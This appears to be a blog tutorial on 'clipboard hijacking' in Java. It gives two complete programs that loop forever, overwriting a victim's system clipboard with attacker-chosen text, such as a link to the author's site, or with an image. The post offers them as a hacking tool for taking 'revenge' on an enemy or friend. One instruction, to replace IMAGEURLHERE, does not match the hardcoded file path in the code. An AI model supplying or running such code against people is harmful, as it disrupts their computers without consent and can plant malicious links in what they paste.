Hijack Clipboard using java

What is Clipboard?


The clipboard is a special location in your computer's memory that temporarily stores data that has been cut or copied from a document. This data can then be pasted to a new location. The clipboard will typically hold its information until you cut or copy something else, or log out of the computer. For example, a user may copy information from a word processor and paste that information into an e-mail message.


What is Clipboard Hijack?


A clipboard hijacking is an exploit in which the attacker gains control of the victim'sclipboard and replaces its contents with their own data, such as a link to a malicious Web site.For more details see here.


Hacking clipboard using java.


Our java code will repeatedly change clipboard text with the hackers text, may be a irritating line ,or a URL to your site.
We will use the Toolkit class to get the system clipboard and then we will use the Clipboard class to change the content of clipboard.

Below is the complete java code .

//code by quadgen
//this code hack the clipboard
import java.awt.*;
import java.awt.datatransfer.*;
class HackTheClipboard
{
static String text = "Your text here";
public static void main(String args[])
{
while(true)
{
Clipboard clipboard ;
StringSelection stringSelection = new StringSelection(text);
try{
clipboard=Toolkit.getDefaultToolkit().getSystemClipboard();
clipboard.setContents(stringSelection, stringSelection);
}
catch(Exception e)
{
/*error may occur if the user and the program both will try to access
 clipboard at the same time just let the code to compile as the clipbrd may be free after 
some time */
                continue;
            }
}
}


}


In the above program you could change the "Your Text Here " with your own text run the program and try to copy paste something you could not be able to do it as the text will change every time.


Inserting image to clipboard 

Above program could only insert text into clipboard and hijack it ,but now the program which you will see will be able to repeatedly insert image to the clipboard.("I you have an enemy or a friend which with you want to take revenge ,then you might have guess what you have to do").



import java.awt.*;
import java.awt.datatransfer.*;

public class ClipboardImage
{

/**
* Place an image on the system clipboard.
*
* @param image - the image to be added to the system clipboard
*/

public static void write(Image image)
{
if (image == null)
throw new IllegalArgumentException ("Image can't be null");

ImageTransferable transferable = new ImageTransferable( image );
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(transferable, null);
}

static class ImageTransferable implements Transferable
{
private Image image;

public ImageTransferable (Image image)
{
this.image = image;
}

public Object getTransferData(DataFlavor flavor)
throws UnsupportedFlavorException
{
if (isDataFlavorSupported(flavor))
{
return image;
}
else
{
throw new UnsupportedFlavorException(flavor);
}
}

public boolean isDataFlavorSupported (DataFlavor flavor)
{
return flavor == DataFlavor.imageFlavor;
}

public DataFlavor[] getTransferDataFlavors ()
{
return new DataFlavor[] { DataFlavor.imageFlavor };
}
}

public static void main(String[] args)
{
while(true)
{
try{
Image image = Toolkit.getDefaultToolkit ().createImage("C:\\Users\\LENOVO-PC\\Downloads\\2.jpg");
ClipboardImage.write( image );
Thread.sleep(1000);//when working with images loop
// needed to be stopped for some time in order to store the image
}
catch(Exception e)
{
continue;
}
}

}
}


In above program replace IMAGEURLHERE with your own image path in client's computer to change the image which will be copied to clipboard(small sized images works better ) or if you want to large sized images then increase the time limit of Thread.sleep(timelimit).

Comments